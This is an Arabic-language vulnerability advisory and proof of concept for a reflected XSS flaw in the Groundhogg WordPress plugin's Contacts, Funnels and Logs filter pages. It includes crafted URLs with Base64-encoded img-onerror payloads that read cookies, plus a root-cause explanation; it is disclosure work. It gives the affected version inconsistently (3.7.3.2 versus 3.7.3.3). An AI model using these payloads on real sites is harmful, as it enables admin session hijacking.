
إثبات مفهوم لاستغلال ثغرة XSS المنعكسة في إضافة Groundhogg الخاصة بووردبريس، يوضح حقن سكربت غير مصادق عليه عبر معاملات URL مصممة بعناية.
إضافة ووردبريس
اسم المكوّن WordPress CRM, Email & Marketing Automation for WordPress | Award Winner — Groundhogg
الإصدار الضعيف <= 3.7.3.2
معرّف المكوّن groundhogg
رابط المكوّن https://wordpress.org/plugins/groundhogg/
فئة الثغرة A3: Injection
نوع الثغرة Cross Site Scripting (XSS)
غير مصادق عليه
تحتوي الإصدارات 3.7.3.3 وما دونها من إضافة Groundhogg على ثغرة Reflected Cross Site Scripting بسبب عدم كفاية التحقق من صحة المدخلات ومعالجة الهروب لمعاملات URL. تحدث هذه الثغرة عند استخدام وظيفة تصفية البحث في قوائم 'Contacts' و'Funnels' و'Logs' في لوحة تحكم الإضافة.
من خلال هذه الثغرة، يمكن لمستخدم غير مصادق إنشاء رابط يحتوي على نصوص برمجية خبيثة، وعندما يصل مستخدمون آخرون إلى هذا الرابط، يتم تنفيذ النص البرمجي في متصفحهم، مما قد يؤدي إلى تسريب معلومات ملفات تعريف الارتباط. يشكل هذا خطرًا أمنيًا خطيرًا حيث يمكن استغلاله بشكل خاص لاختطاف جلسات المستخدمين الذين يتمتعون بصلاحيات المسؤول.
قم بإعداد موقع ووردبريس مع تفعيل إضافة 'Groundhogg' <=3.7.3.2.
نظرًا لأن هذه الإضافة تستخدم REST API، يجب ضبط الروابط الدائمة على
Post name.
بعد ذلك، سيؤدي الوصول إلى روابط كل قائمة أدناه إلى تشغيل ثغرة Reflected XSS.
قائمة Contacts(/wp-admin/admin.php?page=gh_contacts)
http://localhost:8080/wp-admin/admin.php?page=gh_contacts&filters=W1t7ImlkIjoiIiwidHlwZSI6ImZpcnN0X25hbWUiLCJjb21wYXJlIjoiZXF1YWxzIiwidmFsdWUiOiI8aW1nIHNyYz1cInhcIiBvbmVycm9yPVwiYWxlcnQoZG9jdW1lbnQuY29va2llKVwiPiJ9XV0

قائمة Funnels(/wp-admin/admin.php?page=gh_funnels)
لإعادة إنتاج ثغرة XSS في هذه القائمة، يجب أن يكون هناك قمع واحد على الأقل.
http://localhost:8080/wp-admin/admin.php?page=gh_funnels&status=inactive&include_filters=W1t7ImlkIjoiMTBjY2FmZmUtZjE0YS00MTg5LWE0MzctYjA2MTFhMTQ2ZDk1IiwidHlwZSI6InRpdGxlIiwidmFsdWUiOiI8aW1nIHNyYz1cInhcIiBvbmVycm9yPVwiYWxlcnQoZG9jdW1lbnQuY29va2llKVwiPiIsImNvbXBhcmUiOiJlcXVhbHMifV1d

قائمة Logs(/admin.php?page=gh_events)
http://localhost:8080/wp-admin/admin.php?page=gh_events&tab=emails&include_filters=W1t7ImlkIjoiIiwidHlwZSI6ImZyb21fYWRkcmVzcyIsInZhbHVlIjoiPGltZyBzcmM9XCJ4XCIgb25lcnJvcj1cImFsZXJ0KGRvY3VtZW50LmNvb2tpZSlcIj4iLCJjb21wYXJlIjoiZXF1YWxzIn1dXQ

عند إجراء عمليات بحث بالتصفية في قوائم 'Contacts' و'Funnels' و'Logs' في لوحة تحكم إضافة Groundhogg، يتم ترميز إعدادات التصفية بتنسيق Base64 قبل تمريرها كمعاملات URL.
على سبيل المثال، عند تعيين بحث بالتصفية في قائمة 'Contacts' حيث يتم تعيين 'First Name' إلى 'Test'، يتلقى معامل URL filters البيانات التالية:
W1t7ImlkIjoiMjM3NzdjMGItYTQ1Ni00M2JlLWExZGMtODkzN2E1MDk0M2I5IiwidHlwZSI6ImZpcnN0X25hbWUiLCJjb21wYXJlIjoiZXF1YWxzIiwidmFsdWUiOiJUZXN0In1dXQ

عند فك ترميز القيمة المُدخلة في معامل URL filters بتنسيق Base64، يمكنك رؤية البيانات التالية.
[[{"id":"23777c0b-a456-43be-a1dc-8937a50943b9","type":"first_name","compare":"equals","value":"Test"}]]

عند طلب بحث بالتصفية، يتم تنفيذ دالة scripts الخاصة بفئة Contacts_Page في الملف /wp-content/plugins/groundhogg/admin/contacts/contacts-page.php.
في هذه المرحلة، يتم فك ترميز معامل URL filters المشفر بتنسيق Base64 وتمريره إلى متغير ContactSearch في منطقة JavaScript في استجابة HTTP.

لذلك، يمكنك التحقق من أنه في بيانات استجابة HTTP، يتم فك ترميز البيانات المشفرة بتنسيق Base64 المُمررة إلى معامل URL filters قبل تسليمها.

بعد ذلك، يتم إدراج البيانات المفكوكة مباشرة في عناصر DOM التي تعرض نتائج بحث التصفية من خلال منطق JavaScript.

من خلال هذا، يتم تمرير مصطلح بحث التصفية (<img src="x" onerror="alert(document.cookie)">) المُدخل في PoC كمتغير في كود JavaScript دون معالجة هروب ويتم إدراجه وتنفيذه في عناصر DOM بواسطة منطق العميل.


نتيجة لذلك، بسبب عدم كفاية معالجة الهروب لبيانات بحث التصفية، يمكن تنفيذ القيم التي تحتوي على نصوص برمجية خبيثة مباشرة، وتحدث هذه الثغرة بنفس الطريقة عبر جميع قوائم 'Contacts' و'Funnels' و'Logs'.